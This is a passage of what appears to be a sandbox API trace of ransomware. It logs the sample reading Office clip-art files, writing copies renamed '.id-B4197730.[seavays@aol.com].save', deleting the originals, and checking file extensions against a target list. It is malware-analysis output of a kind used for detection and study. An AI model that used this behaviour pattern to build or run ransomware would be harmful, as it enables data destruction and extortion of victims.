lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0210.362] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0210.365] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.365] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.365] SetEndOfFile (hFile=0x368) returned 1 [0210.369] CloseHandle (hObject=0x368) returned 1 [0210.369] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.369] SetEndOfFile (hFile=0x35c) returned 1 [0210.370] CloseHandle (hObject=0x35c) returned 1 [0210.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0210.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.371] lstrlenW (lpString=".doc") returned 4 [0210.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.371] lstrlenW (lpString=".docx") returned 5 [0210.371] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.371] lstrlenW (lpString=".pdf") returned 4 [0210.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.371] lstrlenW (lpString=".xls") returned 4 [0210.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.371] lstrlenW (lpString=".xlsx") returned 5 [0210.371] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.371] lstrlenW (lpString=".ppt") returned 4 [0210.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.371] lstrlenW (lpString=".zip") returned 4 [0210.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.371] lstrlenW (lpString=".rar") returned 4 [0210.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.371] lstrlenW (lpString=".bz2") returned 4 [0210.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString=".7z") returned 3 [0210.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString=".dbf") returned 4 [0210.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString=".1cd") returned 4 [0210.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString=".jpg") returned 4 [0210.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString=".doc") returned 4 [0210.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString=".docx") returned 5 [0210.372] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.372] lstrlenW (lpString=".pdf") returned 4 [0210.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString=".xls") returned 4 [0210.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.372] lstrlenW (lpString=".xlsx") returned 5 [0210.372] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.372] lstrlenW (lpString=".ppt") returned 4 [0210.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.372] lstrlenW (lpString=".zip") returned 4 [0210.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.373] lstrlenW (lpString=".rar") returned 4 [0210.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.373] lstrlenW (lpString=".bz2") returned 4 [0210.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.373] lstrlenW (lpString=".7z") returned 3 [0210.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.373] lstrlenW (lpString=".dbf") returned 4 [0210.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.373] lstrlenW (lpString=".1cd") returned 4 [0210.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0210.373] lstrlenW (lpString=".jpg") returned 4 [0210.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.373] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.373] lstrlenW (lpString="J0105368.WMF") returned 12 [0210.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.374] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=12380) returned 1 [0210.374] CloseHandle (hObject=0x35c) returned 1 [0210.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0210.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.374] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.374] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.375] GetLastError () returned 0x0 [0210.375] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x305c, lpOverlapped=0x0) returned 1 [0210.377] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x3060, lpOverlapped=0x0) returned 1 [0210.378] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.378] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.378] SetEndOfFile (hFile=0x368) returned 1 [0210.378] CloseHandle (hObject=0x368) returned 1 [0210.378] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.379] SetEndOfFile (hFile=0x35c) returned 1 [0210.379] CloseHandle (hObject=0x35c) returned 1 [0210.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0210.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.381] lstrlenW (lpString=".doc") returned 4 [0210.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString=".docx") returned 5 [0210.381] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.381] lstrlenW (lpString=".pdf") returned 4 [0210.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString=".xls") returned 4 [0210.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.381] lstrlenW (lpString=".xlsx") returned 5 [0210.381] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.381] lstrlenW (lpString=".ppt") returned 4 [0210.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.381] lstrlenW (lpString=".zip") returned 4 [0210.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.381] lstrlenW (lpString=".rar") returned 4 [0210.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString=".bz2") returned 4 [0210.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString=".7z") returned 3 [0210.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.381] lstrlenW (lpString=".dbf") returned 4 [0210.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString=".1cd") returned 4 [0210.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString=".jpg") returned 4 [0210.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString=".doc") returned 4 [0210.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString=".docx") returned 5 [0210.382] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.382] lstrlenW (lpString=".pdf") returned 4 [0210.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString=".xls") returned 4 [0210.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.382] lstrlenW (lpString=".xlsx") returned 5 [0210.382] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.382] lstrlenW (lpString=".ppt") returned 4 [0210.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString=".zip") returned 4 [0210.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.382] lstrlenW (lpString=".rar") returned 4 [0210.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString=".bz2") returned 4 [0210.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.382] lstrlenW (lpString=".7z") returned 3 [0210.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.382] lstrlenW (lpString=".dbf") returned 4 [0210.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.383] lstrlenW (lpString=".1cd") returned 4 [0210.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0210.383] lstrlenW (lpString=".jpg") returned 4 [0210.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.383] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.383] lstrlenW (lpString="J0105376.WMF") returned 12 [0210.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.383] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4964) returned 1 [0210.383] CloseHandle (hObject=0x35c) returned 1 [0210.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0210.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.384] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.384] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.385] GetLastError () returned 0x0 [0210.385] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1364, lpOverlapped=0x0) returned 1 [0210.386] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1370, lpOverlapped=0x0) returned 1 [0210.387] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.387] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.387] SetEndOfFile (hFile=0x368) returned 1 [0210.388] CloseHandle (hObject=0x368) returned 1 [0210.388] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.388] SetEndOfFile (hFile=0x35c) returned 1 [0210.389] CloseHandle (hObject=0x35c) returned 1 [0210.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0210.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.389] lstrlenW (lpString=".doc") returned 4 [0210.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString=".docx") returned 5 [0210.390] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.390] lstrlenW (lpString=".pdf") returned 4 [0210.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString=".xls") returned 4 [0210.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.390] lstrlenW (lpString=".xlsx") returned 5 [0210.390] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.390] lstrlenW (lpString=".ppt") returned 4 [0210.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.390] lstrlenW (lpString=".zip") returned 4 [0210.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.390] lstrlenW (lpString=".rar") returned 4 [0210.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString=".bz2") returned 4 [0210.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString=".7z") returned 3 [0210.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.390] lstrlenW (lpString=".dbf") returned 4 [0210.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.390] lstrlenW (lpString=".1cd") returned 4 [0210.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.390] lstrlenW (lpString=".jpg") returned 4 [0210.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString=".doc") returned 4 [0210.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString=".docx") returned 5 [0210.391] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.391] lstrlenW (lpString=".pdf") returned 4 [0210.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString=".xls") returned 4 [0210.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.391] lstrlenW (lpString=".xlsx") returned 5 [0210.391] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.391] lstrlenW (lpString=".ppt") returned 4 [0210.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString=".zip") returned 4 [0210.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.391] lstrlenW (lpString=".rar") returned 4 [0210.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString=".bz2") returned 4 [0210.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString=".7z") returned 3 [0210.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString=".dbf") returned 4 [0210.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString=".1cd") returned 4 [0210.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0210.391] lstrlenW (lpString=".jpg") returned 4 [0210.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.392] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.392] lstrlenW (lpString="J0105378.WMF") returned 12 [0210.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.392] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4964) returned 1 [0210.392] CloseHandle (hObject=0x35c) returned 1 [0210.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0210.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.393] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.393] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.394] GetLastError () returned 0x0 [0210.394] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1364, lpOverlapped=0x0) returned 1 [0210.395] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1370, lpOverlapped=0x0) returned 1 [0210.803] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: 